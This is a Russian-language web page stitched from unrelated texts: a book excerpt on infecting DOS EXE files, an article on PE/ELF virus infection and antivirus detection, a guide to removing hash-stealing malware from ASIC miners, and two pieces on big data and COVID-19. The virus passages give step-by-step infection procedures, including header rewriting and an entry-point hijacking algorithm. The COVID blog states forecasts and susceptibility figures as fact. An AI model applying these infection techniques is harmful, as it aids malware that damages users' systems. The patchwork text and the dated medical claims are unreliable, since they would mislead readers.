Вирусы на any data
Вирусы, внедряющиеся в программу (Parasitic)
Стандартное заражение EXE-файлов
Стандартное заражение – заражение, при котором вирус внедряется в конец файла, изменяя заголовок так, чтобы после загрузки файла управление получил вирус. Принципиально действие такого вируса мало отличается от действия рассмотренного COM-вируса. Чтобы выяснить способы работы с EXE-файлами, рассмотрим следующий фрагмент программы:
;Читаем заголовок EXE?файла (точнее, только первые 18h байт,
;которых вполне достаточно)
mov dx,offset EXEHeader
;Устанавливаем в SI адрес считанного заголовка. В дальнейшем
;будем обращаться к заголовку, используя SI+смещение элемента
mov si,offset EXEHeader
;Получаем реальную длину файла, переместив указатель текущей
;позиции чтения/записи в конец файла
;Сохраним полученную длину файла
;Так как речь идет о стандартной процедуре заражения, нужно
;помнить, что все вышесказанное не должно затрагивать
;оверлейные файлы. Их длина, указанная в заголовке,
;меньше реальной, то есть эти файлы загружаются
;в память не полностью.
;Следовательно, если заразить такой файл, вирус попадет
;в незагружаемую часть.
;Сохраним в стеке реальную длину EXE?файла
;Рассчитаем размер EXE?файла в 512?байтных страницах и остаток
;На данный момент в регистре AX находится число страниц
;(в каждой странице содержится 512 байт),
;а в регистре DX – остаток, образующий
;еще одну (неучтенную) страницу.
;Добавим эту страницу к общему числу страниц –
;если остаток не равен нулю, то
;увеличим число страниц
;Будем считать пригодным для заражения
;стандартным способом файлы с длиной,
;полностью совпадающей с указанной в заголовке
;Чтобы вирус смог вернуть управление
;зараженной программе, сохраним поля ReloSS,
;ExeSP, ReloCS, ExeIP из заголовка EXE?файла.
;Значения констант, используемых в программе,
;равны смещению соответствующего
;элемента в заголовке EXE?файла (Приложение А)
;Восстановим из стека реальную длину файла
;В данном случае она совпадает с длиной, указанной в заголовке
;Рассчитаем длину программы с вирусом, для чего прибавим
;к длине файла длину тела вируса
add ax,VIRSIZE ;VIRSIZE – длина тела вируса
;Рассчитаем получившуюся длину (одна страница – 512 байт)
;и остаток в последней странице (так же,
;как рассчитывали длину файла без вируса)
;Внесем в заголовок новую длину файла
;Прочитаем реальную длину файла.
;По ней будем рассчитывать новую
;точку входа в программу (адрес запуска)
;Рассчитаем новую точку входа.
;Точка входа в вирус должна находиться
;в начале его тела. Другими словами, нужно к длине файла
;прибавить смещение точки входа.
;Разделим длину на размер параграфа (10h)
;Получили число параграфов (AX) и остаток (DX – смещение
;вируса в последнем параграфе).
;Отнимем от числа параграфов в файле число
;параграфов в заголовке – получим сегмент входа в EXE?файл
;Запишем новую точку входа в заголовок
;Замечание: можно было округлить полученное число,
;и вирус начинался бы с 0000h.
;Но этого делать не стоит.
;Естественно, все обращения к данным в этом вирусе
;должны быть нефиксированными, как и в любом другом вирусе.
;Вместо ”mov ax,ANYDATA” придется делать так:
; mov ax,[si+offset ANYDATA]
;где offset ANYDATA – смещение относительно начала тела вируса
;Стек поставим за тело вируса – байт на 100h. Потом обязательно
;вернем, иначе можно стереть заготовленные в стеке значения!
;Установим сегмент стека такой же, как и кода,
;а указатель на вершину стека –
;на 100h байт после тела вируса
;Теперь запишем заголовок в файл, не забыв и тело вируса.
;Рекомендуется писать сначала тело, а потом заголовок.
;Если тело вдруг не допишется,
;то файл испортим зря
;Запишем тело вируса
;Установим указатель чтения/записи в конец файла
;Запишем тело вируса в файл
mov dx,offset VIRStart
;Установим указатель чтения/записи в начало файла
;Запишем заголовок в файл
;Установим первоначальный указатель (сегмент и смещение) стека
;Прибавим 0010h, после чего в AX будет
;находится сегмент, с которого
;загружен программный модуль
;Прибавим первоначальный сегмент стека
db @add_ax ;код ADD AX, дальше по аналогии
OldSS dw ? ;это значение было установлено
;Запретим прерывания, так как со стеком нельзя работать,
;пока и сегмент, и смещение не установлены в нужное значение
;Установим сегмент стека (PSP+10h+OldSS)
;Установим первоначальный указатель (смещение) стека
;Разрешим прерывания – опасный участок пройден
;Подготовим значения в стеке для команды IRET
;Рассчитаем сегмент для кода по аналогии с сегментом стека
;Сохраним в стеке полученное значение (PSP+10h+OldCS)
;Сохраним в стеке смещение исходной точки входа
;Запустим программу. В стеке находятся смещение
;точки входа, сегмент точки входа и флаги
Данный текст является ознакомительным фрагментом.
Читать книгу целиком
Похожие главы из других книг:
(3.16) Как запустить программу как сервис? 1. Лучше всего это делать под аккаyнтом админа, тогда пpи любом дpyгом аккаунте созданный сервис будет продолжать работать.2. Копиpyете файлы instsrv.exe и srvany.exe в какyю-нибyдь системнyю диpектоpию, напpимеp, в winntsystem32 (Берутся из Resouce Kit
22.5.2. Как оптимизировать программу В качестве оптимизации программы могу вам порекомендовать предпринять следующие действия:1. Запустите профайлер, и пусть он определит время работы всех функций.2. Перепишите функцию (или функции), которые занимают больше всего
Как правильно настроить программу Лучше всего, конечно, настроить программу изначально. По крайней мере, так вы сможете присвоить себе удобочитаемый ник, который будет виден всем остальным участникам разговора, не говоря уже о других полезных настройках, которые зависят
Как установить программу Обычно Windows Messenger ставится автоматически при установке Windows XP и потом доступен через главное меню Пуск | Программы. Там вы легко отыщете значок с двумя человечками и надписью Windows Messenger. Однако может так случиться, что операционная система уже была
Где взять и как установить программу Компания RealVNC была основана в 2002 году группой разработчиков-энтузиастов. Потихонечку она стала разрастаться, и в ней появились люди, отвечающие за продвижение программы на рынке. Сейчас они с гордостью заявляют, что программу скачали
Добавление изображения в программу Наше приложение будет использовать графические изображения. Картинки, используемые в игре, хранятся в файле самой программы в виде ресурсов. Сначала надо подготовить сами рисунки для игры. Автор программы решил использовать для игры
Как удалить программу? Чтобы установить программу, обычно надо запустить на выполнение особый файл — дистрибутив этой программы. Далее, обсуждая различные прикладные программы, мы рассмотрим эту процедуру подробно.Если через какое-то время вы решили, что программа вам
Как установить программу ICQ? Для установки программы ICQ щелкните двойным щелчком на значке дистрибутива, скачанного из Интернета (1).В ответ на предупреждение системы контроля учетных записей нажмите кнопку Да (2). Запустится программа установки. В первом диалоге выберите
Вход в программу SETUP SETUP[2] – программа установки параметров BIOS, первоначальной настройки компьютера. Запускается нажатием специальной клавиши, которая зависит от производителя и версии BIOS. Данная программа позволяет произвести первоначальную настройку аппаратных
3.5. Как установить/удалить программу? При установке и удалении программ в операционной системе Microsoft Windows мы привыкли иметь дело с реестром, в который прописываются различные параметры настроек приложения в процессе его установки. Про реестр мы вспоминаем обычно не
Как установить программу на компьютер Прежде чем начать работать с новой программой, следует ее установить. Во время инсталляции приложение распаковывается из архива и помещается в одну из папок на жестком диске. Кроме того, данные о программе записываются в системный
Пандемия коронавирусной инфекции COVID-19 вызвала небывалый интерес к big data (большим данным). Огромные объёмы информации помогают не только отслеживать распространение инфекции, но и планировать меры по профилактике. Однако инструмент борьбы может принести больше вреда, чем пользы.
Компании и правительства во всём мире используют данные о местонахождении миллионов пользователей Интернета и мобильных телефонов, чтобы понять, как распространяется вирус и работают ли меры по социальному дистанцированию. В отличие от методов наблюдения, которые отслеживают перемещение отдельных лиц, эти усилия анализируют большие массивы данных для выявления закономерности в движении людей и их поведении в ходе пандемии.
Но, как считает старший научный сотрудник по искусственному интеллекту и правам человека неправительственной организации Human Rights Watch Амос Тох (Amos Toh), какими бы привлекательными ни казались эти проекты, компаниям и правительствам следует задаться вопросом, будут ли они приносить обещанные им преимущества для общественного здравоохранения или таким образом поставят под угрозу права самых бедных и уязвимых людей.
Опасные выводы
Эксперт привёл в пример эпидемию лихорадки Эбола в Западной Африке в 2014 году, когда специалисты из Гарварда получили записи о вызовах пользователей мобильных телефонов по всему региону, чтобы предсказать распространение вируса и помочь улучшить целевые меры по профилактике заболеваний. Однако этот анализ, по мнению Тоха, основывался на неверном предположении, что передвижения людей были основным вектором передачи вируса Эбола, тогда как на самом деле распространение происходило главным образом при уходе за больными и во время приготовления к похоронам.
Неверные расчёты отчасти подтверждает исследование моделей использования мобильных телефонов, опубликованное Сюзан Эриксон из Университета Саймона Фрейзера. В нём говорится, что в Западной Африке у многих пользователей есть несколько аппаратов для различных целей, и сами устройства могут свободно передаваться членам семьи, друзьям или соседям. Тох уверен, что эти просчёты освещают более широкую проблему: big data может скрывать или искажать сложные социальные реалии, что ставит под угрозу как общественное здравоохранение, так и права человека.
В США более низкий уровень проникновения социальных сетей и мобильных телефонов в жизнь пожилых людей и сельского населения может исказить усилия, направленные на то, чтобы определить передвижения людей посредством мобильных данных. Это в итоге выльется в неправильное понимание того, как болезнь распространяется среди населения и какие меры нужно принять для замедления передачи вируса. Более того, факторы окружающей среды, ухудшающие точность данных о местоположении (например, наличие высотных зданий), только усилят негативный эффект для общего анализа.
Слепые зоны big data, как утверждает Тох, не стоит недооценивать, потому что они рискуют увести критически важные ресурсы органов общественного здравоохранения от проверенных методов сдерживания. Или, что не менее важно, некорректно повлиять на изоляцию людей. Например, в Израиле на основании неточных данных о геолокации власти ошибочно ограничили людей в своих домах.
Риски для соблюдения конфиденциальности пользователей также остаются огромными. Хотя правительства и компании гарантируют анонимизацию, многочисленные исследования показывают, что это может только задержать, а не предотвратить повторную идентификацию человека. Данные о местоположении особенно уязвимы, поскольку их можно комбинировать с общедоступными и частными записями для создания сложной и раскрывающей карты передвижений и действий человека.
Тох считает, что разумное доверие к технологиям, основанным на данных, в условиях нынешнего кризиса может улучшить понимание болезни, расширить доступ к медицинской помощи и позволить людям оставаться на связи. Но побуждение использовать информацию во благо не должно становиться разрешением на проведение рискованных экспериментов, приносящих в жертву неприкосновенность частной жизни и гражданскую свободу.
Самое интересное — в нашем канале Яндекс.Дзен
С начала 2019 года от обладателей асиков поступают жалобы о воровстве хэш-мощностей. Хакеры заражают вредоносным ПО пользовательские устройства и намайненное вознаграждение перечисляется на их воркеры, минуя адреса владельцев. Некоторые хакеры умудряются зарабатывать более 1 BTC в сутки только за счёт внедрения вирусов в чужие устройства.
Откуда появляются зараженные асики
Все эти и новые вирусы регулярно создаются и модифицируются хакерами. Вредоносное ПО с каждым днём становится всё незаметнее и опаснее. От заражения не застрахован никто, поскольку после установки модифицированной злоумышленниками прошивки троян быстро распространяется на другие устройства и восстанавливать потом приходится каждое по отдельности вручную. Прошивка asic S9 в этом случае занимает гораздо больше времени, чем автоматическое сканирование на вирусы и лечение.
Как узнать, что ASIC заражён
Это не является стандартной платой за разработку (DevFee) и использование прошивки и просто так отключить её нельзя. Вирус по меньшей мере 12 часов ежедневно майнит на другого пользователя. То есть, вы получаете на 50% меньше награды, чем должны. При этом откат до стандартной прошивки лишь временно решает проблему. Вирус вскоре вновь активизируется и продолжает пересылать вознаграждение другому юзеру.
Как вылечить ASIC
Для проверки своих устройств можно использовать сторонние программы-сканеры или BraiinsOS. Вылечить вирус Antminer S9 иногда можно сбросив IP-адрес, а затем сразу же установив одну из новых официальных прошивок. В любом случае процесс удаления занимает много времени и требует некоторых знаний, а также наличия SD-карты вместимостью от 2 ГБ.
Для начала можно скачать простую утилиту, вроде Win32DiskImager. Затем следует вставить SD-карту в кардридер, запустить Win32DiskImager и записать образ восстановления Recovery S9 на карту памяти. После этого потребуется провести манипуляции с платой асика, а именно:
отключить от питания контрольную плату, а затем отсоединить райзера с чипами;
переставить джампер вперёд (первый от стенки асика, он же дальний от флешки, как правило, JP4), вставить карту с образом, включить питание;
затем нужно подключить контрольную плату, подождать примерно минуту до стабильной периодической индикации светодиодов на LAN. Первый раз они зажгутся через 20 сек, а постоянно начнут мигать в течение минуты.
Это свидетельствует о прошивке платы. После этого следует отключить питание, вернуть перемычку на место и достать SD-карту. Затем нужно собрать устройство. После запуска ASIC, появится привычное меню Bitmain, через которое можно свободно устанавливать любую оригинальную прошивку или кастомные версии.
Что делать, если заражена ферма
Этот способ лечения хорошо работает с одним устройством. Однако почти любой вирус, находясь в локальной сети с другими устройствами, очень быстро распространяется на все девайсы. Если у вас в пользовании находятся десятки или сотни асиков, то обнаружив заражение одного, придётся проверять остальные, быстро отключать их от сети, а перепрошивать каждый вышеописанным образом будет долго и накладно.
Существует решение в виде универсальной готовой прошивки для Antminer S9, T9+, обладающей рядом преимуществ по сравнению с любыми способами индивидуального лечения. Её особенности заключаются в следующем:
встроенный антивирус, проверяющий и распознающий присутствие вредоносного ПО. Если у вас всё в порядке, можете после проверки вернуться к своей прошивке либо остаться на скачанной версии;
ручное сканирование вирусов;
она обеспечивает стабильность работающих устройств;
индивидуальный разгон чипов;
возможность разгона и оптимизации по технологии AsicBoost и многое другое.
Встроенный антивирус позволяет проверить ваш ASIC S9, T9+ на наличие вируса. Для этого, после установки прошивки на ваше устройство, зайдите во вкладку System > Security и включите проверку нажатием кнопки Virus Check.
Важным отличием от хакерских продуктов является клиентская поддержка. По всем возникающим вопросам можно связаться с разработчиком и получить консультацию. Только в том случае, если скачать прошивку для ASIC с официального сайта разработчика можно гарантировать стабильный и прибыльный майнинг без необходимости делиться наградой с посторонними.
11 марта 2020 года ВОЗ объявила о пандемии нового коронавируса (Covid-19), который в декабре 2019 был впервые обнаружен в китайском мегаполисе Ухань. С тех пор вирус стремительно распространяется по всей планете, вызывая острые респираторные заболевания. Сегодня мы расскажем, почему, несмотря на повсеместные карантины и обвал мировых рынков, все не все так страшно и как технологии больших данных (Big Data) помогают справиться с этой напастью.
Еще раз о коронавирусе: кто виноват и что делать
Прежде всего, чтобы снизить градус паники, отметим, что даже при высокой заразности, коронавирус относительно легко переносится большей частью людей. Именно этим обусловлена широчайшая площадь его распространения: человек не зная, что болен, продолжает жить обычной жизнью: работает, ходит в магазин, кафе, кино, развлекательные и учебные центры, а также прочие общественные места. При этом он активно распространяет инфекцию, которая, как и любой вирус, в большей степени опасна для наиболее беззащитных членов общества.
Врачи отмечают, что в зоне риска находятся люди старше 70 лет, а также лица с ослабленным иммунитетом и никотиновой зависимостью. Более 80% заразившихся переносят болезнь как сезонное ОРВИ или грипп: повышенная температура, кашель, слабость в течение недели с последующим выздоровлением. У некоторых людей вообще отсутствуют даже такие симптомы, а 30–40% населения вообще не подвержены инфекции. В частности, считается, что маленькие дети болеют сравнительно легко и без осложнений. Однако, они могут выступать переносчиками вируса, поэтому каждому из нас нужно соблюдать меры предосторожности: есть и спать в достаточном количестве, тщательно мыть руки и лицо, дезинфицировать поверхности, ограничить посещения мест с большим скоплением людей, в т.ч. культурно-массовые мероприятия и общественный транспорт. Благодаря таким, на первый взгляд, несложным мерам, даже при самом неблагоприятном прогнозе, инфекция во всем мире будет взята под контроль к июлю 2020 года [1].
Аналитики McKinsey также прогнозируют естественное снижение распространения вируса с наступлением весны в Северном полушарии. С экономической точки зрению коронавирус в наибольшей степени затронет малый и средний бизнес, однако крупные компании также могут пострадать, особенно сфера услуг, авиация, ресторанный и туристический бизнесы. Ожидается общее снижение роста глобального ВВП, что приведет к замедлению мировой экономики, хотя и не к рецессии [2].
Big Data против COVID-19
Возвращаясь к коронавирусу, отметим, что прозрачность данных и адекватность статистики – это ключевые факторы, которые помогают медикам и другим компетентным специалистам понять особенности чрезвычайной ситуации и своевременно принять нужные меры. В частности, создается множество сайтов с интерактивной информацией о заболевших, выздоровевших и погибших от Covid-19. Например, Яндекс представил свой дэшборд с мировой картиной и детальной разбивкой по областям РФ, используя отчеты Роспотребнадзора и Университета Джонса Хопкинса в США [3]. Это – классический пример высоконагруженной Big Data системы, которая в режиме near real-time получает данные из разных источников, агрегирует их и представляет множеству пользователей в наглядном виде.
Интерактивная карта COVID-19 от Яндекса
Искусственный интеллект vs коронавирус: выигрывает человек
Data Science помогает бороться с вирусом с момента его возникновения. В частности, Big Data система машинного обучения для мониторинга здоровья BlueDot, зафиксировала вспышку пневмонии, вызванной коронавирусом еще 31 декабря 2019 года, т.е. раньше специалистов ВОЗ. Платформа в режиме реального времени анализирует новостные сводки в СМИ на иностранных языках, официальные заявления властей, а также отчеты о болезнях в животном и растительном мирах. Также искусственный интеллект (ИИ) BlueDot агрегирует и косвенные данные: посты в блогах и на форумах, а также брони авиабилетов по всему миру. Благодаря этому система верно определила не только место возникновения эпидемии, но и пути ее дальнейшего распространения: от китайского Уханя в Бангкок, Сеул, Тайбэй и Токио [4].
Другой показательный пример использования Artificial Intelligence в борьбе с Covid-19 – это автоматическая диагностика заболевших с помощью алгоритмов Machine Learning для распознавания данных компьютерной томографии. С начала марта 2020 года эта система проходит опытную эксплуатацию в Национальном суперкомпьютерном центре в Тяньцзине, который разработал ее совместно с Китайской ассоциацией по борьбе с раком [5]. Также в Китае был создан подвижный робот для бесконтактного измерения температуры тела. Благодаря интеграции этого устройства с национальной системой распознавания лиц и наличию технологии 5G, оно способно выявить отсутствие медицинской маски и сделать личное предупреждение. Этот робот способен одновременно отслеживать целых 32 объекта во время патрулирования улиц, что весьма востребовано в условиях всеобщего карантина в Китае [6].
Наконец, Machine Learning и другие методы Data Science используются для разработки вакцины и лекарств от коронавируса. Например, ИИ-система AlphaFold исследовательского подразделения DeepMind корпорации Google предсказала возможную структуру некоторых белков COVID-19, используя технологию матричного моделирования. Точное знание компонентного и структурного состава коронавируса позволит синтезировать вещества для лечения заболеваний, вызванных этой инфекцией. Пока еще полученные исследования не проверены экспериментально, но они помогут ученым понять, как функционирует вирус, чтобы создать гипотезы по эффективной терапии [7].
Белковая структура коронавируса
Удаленная работа и дистанционное обучение
Таким образом, пандемия коронавируса – это не всеобщие каникулы, а повседневная работа в новых условиях. Ведь, по большому счету, разработчику и тестировщику ПО, DevOps-инженеру облачного кластера, техническому писателю или другому ИТ-специалисту для эффективной работы нужны системы и данные, а не физический офис. А если все-таки специфика вашей отрасли не предполагает удаленного режима, то карантин – это отличный повод заняться самообразованием или повысить квалификацию своих сотрудников, организовав для них курсы по Apache Spark, Kafka, Hadoop и прочим технологиям Big Data.
Поговорим о компьютерных вирусах? Нет, не о том, что вчера поймал ваш антивирус. Не о том, что вы скачали под видом инсталлятора очередного Photoshop. Не о rootkit-e, который стоит на вашем сервере, маскируясь под системный процесс. Не о поисковых барах, downloader-ах и другой малвари. Не о коде, который делает плохие вещи от вашего имени и хочет ваши деньги. Нет, всё это коммерция, никакой романтики…
В общем, для статьи вполне достаточно лирики, перейдем к делу. Я хочу рассказать о классическом вирусе, его структуре, основных понятиях, методах детектирования и алгоритмах, которые используются обеими сторонами для победы.
Мы будем говорить о вирусах, живущих в исполняемых файлах форматов PE и ELF, то есть о вирусах, тело которых представляет собой исполняемый код для платформы x86. Кроме того, пусть наш вирус не будет уничтожать исходный файл, полностью сохраняя его работоспособность и корректно инфицируя любой подходящий исполняемый файл. Да, ломать гораздо проще, но мы же договорились говорить о правильных вирусах, да? Чтобы материал был актуальным, я не буду тратить время на рассмотрение инфекторов старого формата COM, хотя именно на нем были обкатаны первые продвинутые техники работы с исполняемым кодом.
Начнём со свойств кода вируса. Чтобы код удобней было внедрять, разделять код и данные не хочется, поэтому обычно используется интеграция данных прямо в исполняемый код. Ну, например, так:
Все эти варианты кода при определенных условиях можно просто скопировать в память и сделать JMP на первую инструкцию. Правильно написав такой код, позаботившись о правильных смещениях, системных вызовах, чистоте стека до и после исполнения, и т.д., его можно внедрять внутрь буфера с чужим кодом.
Исполняемый файл (PE или ELF) состоит из заголовка и набора секций. Секции – это выровненные (см. ниже) буферы с кодом или данными. При запуске файла секции копируются в память и под них выделяется память, причем совсем необязательно того объёма, который они занимали на диске. Заголовок содержит разметку секций, и сообщает загрузчику, как расположены секции в файле, когда он лежит на диске, и каким образом необходимо расположить их в памяти перед тем, как передать управление коду внутри файла. Для нас интересны три ключевых параметра для каждой секции, это psize, vsize, и flags. Psize (physical size) представляет собой размер секции на диске. Vsize (virtual size) – размер секции в памяти после загрузки файла. Flags – атрибуты секции (rwx). Psize и Vsize могут существенно различаться, например, если программист объявил в программе массив в миллион элементов, но собирается заполнять его в процессе исполнения, компилятор не увеличит psize (на диске содержимое массива хранить до запуска не нужно), а вот vsize увеличит на миллион чего-то там (в runtime для массива должно быть выделено достаточно памяти).
Флаги (атрибуты доступа) будут присвоены страницам памяти, в которые секция будет отображена. Например, секция с исполняемым кодом будет иметь атрибуты r_x (read, execute), а секция данных атрибуты rw_ (read,write). Процессор, попытавшись исполнить код на странице без флага исполнения, сгенерирует исключение, то же касается попытки записи на страницу без атрибута w, поэтому, размещая код вируса, вирмейкер должен учитывать атрибуты страниц памяти, в которых будет располагаться код вируса. Стандартные секции неинициализированных данных (например, область стека программы) до недавнего времени имели атрибуты rwx (read, write, execute), что позволяло копировать код прямо в стек и исполнять его там. Сейчас это считается немодным и небезопасным, и в последних операционных системах область стека предназначена только для данных. Разумеется, программа может и сама изменить атрибуты страницы памяти в runtime, но это усложняет реализацию.
Также, в заголовке лежит Entry Point — адрес первой инструкции, с которой начинается исполнение файла.
Необходимо упомянуть и о таком важном для вирмейкеров свойстве исполняемых файлов, как выравнивание. Для того чтобы файл оптимально читался с диска и отображался в память, секции в исполняемых файлах выровнены по границам, кратным степеням двойки, а свободное место, оставшееся от выравнивания (padding) заполнено чем-нибудь на усмотрение компилятора. Например, логично выравнивать секции по размеру страницы памяти – тогда ее удобно целиком копировать в память и назначать атрибуты. Даже вспоминать не буду про все эти выравнивания, везде, где лежит мало-мальски стандартный кусок данных или кода, его выравнивают (любой программист знает, что в километре ровно 1024 метра). Ну а описание стандартов Portable Executable (PE) и Executable Linux Format (ELF) для работающего с методами защиты исполняемого кода – это настольные книжки.
Если мы внедрим свой код в позицию точно между инструкциями, то сможем сохранить контекст (стек, флаги) и, выполнив код вируса, восстановить все обратно, вернув управление программе-хосту. Конечно, с этим тоже могут быть проблемы, если используются средства контроля целостности кода, антиотладка и т.п., но об этом тоже во второй статье. Для поиска такой позиции нам необходимо вот что:
- поставить указатель точно на начало какой-нибудь инструкции (просто так взять рандомное место в исполняемой секции и начать дизассемблирование с него нельзя, один и тот же байт может быть и опкодом инструкции, и данными)
- определить длину инструкции (для архитектуры x86 инструкции имеют разные длины)
- переместить указатель вперед на эту длину. Мы окажемся на начале следующей инструкции.
- повторять, пока не решим остановиться
Это минимальный функционал, необходимый для того, чтобы не попасть в середину инструкции, а функция, которая принимает указатель на байтовую строку, а в ответ отдает длину инструкции, называется дизассемблером длин. Например, алгоритм заражения может быть таким:
- Выбираем вкусный исполняемый файл (достаточно толстый, чтобы в него поместилось тело вируса, с нужным распределением секций и т.п.).
- Читаем свой код (код тела вируса).
- Берем несколько первых инструкций из файла-жертвы.
- Дописываем их к коду вируса (сохраняем информацию, необходимую для восстановления работоспособности).
- Дописываем к коду вируса переход на инструкцию, продолжающую исполнение кода-жертвы. Таким образом, после исполнения собственного кода вирус корректно исполнит пролог кода-жертвы.
- Создаем новую секцию, записываем туда код вируса и правим заголовок.
- На место этих первых инструкций кладем переход на код вируса.
Это вариант вполне себе корректного вируса, который может внедриться в исполняемый файл, ничего не сломать, скрыто выполнить свой код и вернуть исполнение программе-хосту. Теперь, давайте его ловить.
Думаю, не надо описывать вам компоненты современного антивируса, все они крутятся вокруг одного функционала – антивирусного детектора. Монитор, проверяющий файлы на лету, сканирование дисков, проверка почтовых вложений, карантин и запоминание уже проверенных файлов – все это обвязка основного детектирующего ядра. Второй ключевой компонент антивируса – пополняемые базы признаков, без которых поддержание антивируса в актуальном состоянии невозможно. Третий, достаточно важный, но заслуживающий отдельного цикла статей компонент – мониторинг системы на предмет подозрительной деятельности.
Итак (рассматриваем классические вирусы), на входе имеем исполняемый файл и один из сотни тысяч потенциальных вирусов в нем. Давайте детектировать. Пусть это кусок исполняемого кода вируса:
Как мы увидели, для быстрого и точного сравнения детектору необходимы сами байты сигнатуры и ее смещение. Или, другим языком, содержимое кода и адрес его расположения в файле-хосте. Поэтому понятно, как развивались идеи сокрытия исполняемого кода вирусов – по двум направлениям:
- сокрытие кода самого вируса;
- сокрытие его точки входа.
Сокрытие кода вируса в результате вылилось в появление полиморфных движков. То есть движков, позволяющих вирусу изменять свой код в каждом новом поколении. В каждом новом зараженном файле тело вируса мутирует, стараясь затруднить обнаружение. Таким образом, затрудняется создание содержимого сигнатуры.
Сокрытие точки входа (Entry Point Obscuring) в результате послужило толчком для появления в вирусных движках автоматических дизассемблеров для определения, как минимум, инструкций перехода. Вирус старается скрыть место, с которого происходит переход на его код, используя из файла то, что в итоге приводит к переходу: JMP, CALL, RET всякие, таблицы адресов и т.п. Таким образом, вирус затрудняет указание смещения сигнатуры.
Гораздо более подробно некоторые алгоритмы таких движков и детектора мы посмотрим во второй статье, которую я планирую написать в ближайшее время.
Рассмотренный в статье детектор легко детектирует неполиморфные (мономорфными их назвать, что ли) вирусы. Ну а переход к полиморфным вирусам является отличным поводом, наконец, завершить эту статью, пообещав вернуться к более интересным методам сокрытия исполняемого кода во второй части.
Читайте также: